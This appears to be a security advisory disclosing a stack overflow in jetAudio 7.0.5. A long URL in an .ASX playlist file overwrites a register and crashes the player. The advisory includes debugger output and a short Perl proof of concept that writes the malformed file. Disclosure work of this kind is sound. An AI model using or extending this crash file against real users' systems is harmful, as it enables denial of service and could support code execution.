jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow
Application: jetAudio 7.0.5 (.ASX) Remote Stack Overflow
Web Site: http://www.cowonamerica.com/download/
Platform: Windows
Bug:Remote Stack Overflow
Extension: ASX
special condition: none
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1) Introduction
2) Bug
3) Proof of concept
4) Credits
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1) Introduction
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A nice introduction to jetaudio can be found :
http://www.cowonamerica.com/products/jetaudio/
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2) Bug
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When parsing an asx file with a long URL a stack overflow occurs.
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3)Proof of concept
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Proof of concept example :
An url with 1096 A ( http://AAAAA....) will overwritte ESI and crash the
program
Here's the debugger output:
Access violation - code c0000005
eax=00000000 ebx=01187684 ecx=00000459 edx=0012d39c esi=41414141 edi=00000001
eip=00441dad esp=0012cf3c ebp=00000001 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
JetAudio!CxImage::`copy constructor closure'+0x1109d:
00441dad 8b06 mov eax,[esi] ds:0023:41414141=????????
Here's the the Poc :
#!/usr/local/bin/perl
use strict;
use warnings;
my $file="myfile.asx";
my $payload = "A" x 1096;
open( $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://".$payload;
close($FILE);
print "$file has been created \n";
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5)Credits
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laurent gaffié
laurent.gaffie{remove_this}[at]gmail[dot]com